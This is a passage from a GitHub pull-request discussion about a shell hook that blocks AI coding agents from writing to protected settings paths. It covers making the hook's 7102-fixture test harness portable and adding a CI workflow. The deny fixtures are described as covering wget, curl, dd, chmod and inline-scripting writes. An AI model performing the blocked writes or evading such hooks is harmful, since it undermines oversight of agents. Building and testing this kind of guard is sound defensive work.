- run: TEST_HOME=/home/wilco HOME=/home/wilco bash global-settings/tests/test-block-write-commands.sh

(Or whatever portable form you land on for issue 1.) Without this, future regressions in block-write-commands.sh won't be caught — and the test harness exists precisely to catch them.


Minor doc nit (not a blocker)

block-write-commands.sh:419-424 comment says the char class [^[:space:]&>/] excludes "absolute paths (>/dev/null, >/tmp/…)". That's accurate but easy to misread — the redirect guard in fact skips all absolute-path redirect targets, not just /dev/null. For this PR's scope that's fine because the protected-target check already gates ~/.claude/... independently, but a future reader might read the guard as broader than it is. Consider rewording to: "Skips all /-anchored targets (fd-to-fd redirects, /dev/null, and any other absolute paths). The protected-target gate above is what catches $HOME/.claude/... writes — this guard is only a safety net for relative redirects."


Code fixes are good to merge from my side. The two harness issues are worth fixing before this lands so the test-suite-as-regression-gate actually works for everyone, not just on your laptop.

Replace hardcoded /home/wilco with TEST_HOME (defaults to \$HOME) and
TEST_REPO_DIR (defaults to \$TEST_HOME/.github) so the 7102 fixtures
align with the hook's protected-path regex on any machine.

Add .github/workflows/hook-tests.yml to run the harness in CI on every
PR/push that touches global-settings/**. The workflow seeds
\$HOME/.claude/settings-repo-path with \$GITHUB_WORKSPACE so the
git-show ALLOW fixtures also pass in the runner environment.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Comment thread .github/workflows/hook-tests.yml Fixed
@WilcoLouwerse
Copy link
Copy Markdown
Contributor Author

Harness portability + CI gate — addressed in 6156359

Both follow-up issues from the verification pass are fixed.

1. Test harness portability

  • TEST_HOME now defaults to $HOME (not a hardcoded /home/wilco), and TEST_REPO_DIR defaults to ${TEST_HOME}/.github.
  • All 9 hardcoded /home/wilco references in fixture-generating code (path_variants(), git -C ALLOW/DENY fixtures, chmod paths, wget/curl/dd paths, inline-scripting paths, innocuous git status) replaced with the parameterized variables.
  • No env vars need to be set for the harness to work on any machine — it picks up the running user's $HOME automatically. Explicit overrides remain available for cross-account testing.
  • Local re-run: 7102/7102 pass (96 ALLOW + 6993 DENY + 13 ASK).

2. CI gate

Added .github/workflows/hook-tests.yml:

  • Triggers on every push/PR that touches global-settings/**.
  • Seeds $HOME/.claude/settings-repo-path with $GITHUB_WORKSPACE so the git-show ALLOW fixtures resolve against the checked-out repo.
  • Sets TEST_REPO_DIR=${{ github.workspace }} so fixtures and hook agree on the canonical repo path.
  • Runs the full 7102-fixture harness — future regressions in block-write-commands.sh will be caught by CI, not just by manual local runs.

The minor doc-clarity nit on block-write-commands.sh:419-424 is left for a follow-up since it doesn't affect behavior.

Ready for merge from my side.

…ntain permissions'

Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
@WilcoLouwerse WilcoLouwerse merged commit 54a8265 into main May 4, 2026
6 checks passed
@WilcoLouwerse WilcoLouwerse deleted the docs/global-claude-settings-improvements branch May 4, 2026 12:21
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants